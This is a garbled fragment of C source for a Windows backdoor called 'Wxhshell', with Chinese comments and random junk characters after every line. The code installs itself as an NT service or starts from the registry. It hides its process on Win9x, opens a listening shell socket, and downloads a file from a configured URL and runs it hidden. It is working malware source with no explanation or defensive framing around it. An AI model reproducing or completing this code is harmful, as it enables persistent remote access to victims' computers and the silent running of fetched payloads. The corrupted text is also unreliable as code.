ULONG UniqueProcessId; S5vJC-"
ULONG InheritedFromUniqueProcessId; mc$dR,
H0
} PROCESS_BASIC_INFORMATION; Sw~<W%! ?
h 9/68Gc?6
PROCNTQSIP NtQueryInformationProcess; yL1\V7GI{[
O;r8l+
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #0tM88Wi
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; MwZ`NH|n3"
-.y3:^){^
HANDLE hProcess; IiL?@pIq
PROCESS_BASIC_INFORMATION pbi; <JlKtR&nSo
fO+;%B
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); va)\uXW.N
if(NULL == hInst ) return 0; "[G
P)nC
&E~7ty'
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8u4]@tJH
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (fl2?d5+C
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6K&V}
ax$0J|}7
if (!NtQueryInformationProcess) return 0; #t\Oq9}^
6Dch+*4*@
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |Ia46YS
if(!hProcess) return 0; "dt3peH
,Tpds ^
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,PnEDQ|l
J{91 t |
CloseHandle(hProcess); eL],\\q
v{I:Wxe
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); E:%%Dm
if(hProcess==NULL) return 0; JprZ6
>
"C>KKs }
HMODULE hMod; Z)HQlm
char procName[255]; VF4F7'
unsigned long cbNeeded; ms~ mg:
.DT1Jvl
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^0VI J)y
*Owq_)_(|
CloseHandle(hProcess); 2o,%O91p
!j- 7,
if(strstr(procName,"services")) return 1; // 以服务启动 xi-^_I
Ly3^zFW
return 0; // 注册表启动 >kd2GZe^_J
} EF}Z+7A
H>VuUH|
// 主模块 RS$e^_ W
int StartWxhshell(LPSTR lpCmdLine) idV4hMF9
{ nU/v(lN
SOCKET wsl; K2!KMhvQ
BOOL val=TRUE; Pb!kl #
int port=0; #[2]B8NZ
struct sockaddr_in door; }F-W OQ
;]|Z8#s
if(wscfg.ws_autoins) Install(); 2@=JIMtc
.F9>|Xx[
port=atoi(lpCmdLine); v50=D/&w
6kHAoERp
if(port<=0) port=wscfg.ws_port; V\Rbnvq
)Nk^;[
WSADATA data; =d`,W9D
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \9!W^i[+
w$pBACX
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 0IxXhu6v
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); u3Ua>A-
door.sin_family = AF_INET; R j1Z
door.sin_addr.s_addr = inet_addr("127.0.0.1"); <$_B J2Z
door.sin_port = htons(port); kpcIU7|e
rk{DrbRx
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Td}#o!4!
closesocket(wsl); UV$v:>K#
return 1; Ydh]EO0'
} -Y{P"!p0
h]&8hl_'m
if(listen(wsl,2) == INVALID_SOCKET) { 6;k#|-GU&
closesocket(wsl); Xh;Pbm|K
return 1; O:WFh;c
} # KK>D?.:
Wxhshell(wsl); j-ZKEA{:1
WSACleanup(); `XS6t)!ik
eo4;?z
return 0; Pl9/1YhD/
YD 1u
} weYP^>gH'
*^ g7kCe(
// 以NT服务方式启动 TeSF
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F_$eu-y
{ |]w0ytL>(2
DWORD status = 0; KFvNsqd
DWORD specificError = 0xfffffff; 76(-!Z@=J
3FR'N%+
serviceStatus.dwServiceType = SERVICE_WIN32; ;<OIu&,*
serviceStatus.dwCurrentState = SERVICE_START_PENDING; "X=l7{c/
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; VnAJOR7lrx
serviceStatus.dwWin32ExitCode = 0; !c(B c^
serviceStatus.dwServiceSpecificExitCode = 0; P33x/#VVE
serviceStatus.dwCheckPoint = 0; $fR[zBxA
serviceStatus.dwWaitHint = 0; ?KDI'>"-v
g-q~0
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]#z^[XG
if (hServiceStatusHandle==0) return; ,IX:u1mO
fH-V!QYGF
status = GetLastError(); 5B)Z@-x2
if (status!=NO_ERROR) zc%#7"FM
{ why;1z>V
serviceStatus.dwCurrentState = SERVICE_STOPPED; :80!-F*\
serviceStatus.dwCheckPoint = 0; GdVq+,Ge
serviceStatus.dwWaitHint = 0; ]-FK6jw
serviceStatus.dwWin32ExitCode = status; Rs_bM@
serviceStatus.dwServiceSpecificExitCode = specificError; `VM@-;@w
SetServiceStatus(hServiceStatusHandle, &serviceStatus); !)FM/Xj,o
return; 8pp^
w
} 4RTuy+
M
A8Tq2]"* S
serviceStatus.dwCurrentState = SERVICE_RUNNING; Ju4={^#
serviceStatus.dwCheckPoint = 0; #0V$KC*>
serviceStatus.dwWaitHint = 0; q|xJ)[AO
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M}MXR=X,
} %Aq+t&-BCX
Au(zvgP
// 处理NT服务事件,比如:启动、停止 8(J&_7u
VOID WINAPI NTServiceHandler(DWORD fdwControl) xcz[w}{eEq
{ ,g\%P5
switch(fdwControl) D^V0kC p!F
{ _7Z|=)
case SERVICE_CONTROL_STOP: +dIDFSd
serviceStatus.dwWin32ExitCode = 0; ('BFy>@
serviceStatus.dwCurrentState = SERVICE_STOPPED; OLp;eb1g
serviceStatus.dwCheckPoint = 0; J-yj&2
serviceStatus.dwWaitHint = 0; /ZlPEs)
{ $Kw)BnV
SetServiceStatus(hServiceStatusHandle, &serviceStatus); -F\xZ
} o\6A]T=R
return; MM8@0t'E
case SERVICE_CONTROL_PAUSE: #Ux*":
serviceStatus.dwCurrentState = SERVICE_PAUSED; GAG=4g
break; oU[Ba8qh
case SERVICE_CONTROL_CONTINUE: f6@fi`U,
serviceStatus.dwCurrentState = SERVICE_RUNNING; r6k0=6i
break; HF>Gf2-C
case SERVICE_CONTROL_INTERROGATE: =>Ss:SGjT
break; Jv(9w[
}; H=b54.J8&
SetServiceStatus(hServiceStatusHandle, &serviceStatus); e}>8rnR{
} Ct2m l
IO3`/R-
// 标准应用程序主函数 NGZEUtj
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) R+,eX jz"
{ m:U.ao6
Uv|z
c
// 获取操作系统版本 $h"Ht2/ J
OsIsNt=GetOsVer(); CGmObN8~'F
GetModuleFileName(NULL,ExeFile,MAX_PATH); aBv3vSq>Q
MR:GH.uM:
// 从命令行安装 1UG5Q-
if(strpbrk(lpCmdLine,"iI")) Install(); p4mlS
J?4aSssE
// 下载执行文件 Ws2SD6!4`
if(wscfg.ws_downexe) { n/*BK;
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /Xa_Xg7
WinExec(wscfg.ws_filenam,SW_HIDE); ^Qrezl&
} .u[hK
K6"#&0
if(!OsIsNt) { ::bK{yZm
// 如果时win9x,隐藏进程并且设置为注册表启动 fNjxdG{a
HideProc(); =fk+"!-i%"
StartWxhshell(lpCmdLine); %@JNX}Y'
} +|6
'7Z(9
else F-K=Otj
if(StartFromService()) F~j
U; L
// 以服务方式启动
Z|zyO-
StartServiceCtrlDispatcher(DispatchTable); `-qRZh@ E
else ACQbw)tiv}
// 普通方式启动 OT-!n
StartWxhshell(lpCmdLine); m=;0NLs4
Mle@.IIT
return 0; oJ|8~:)
}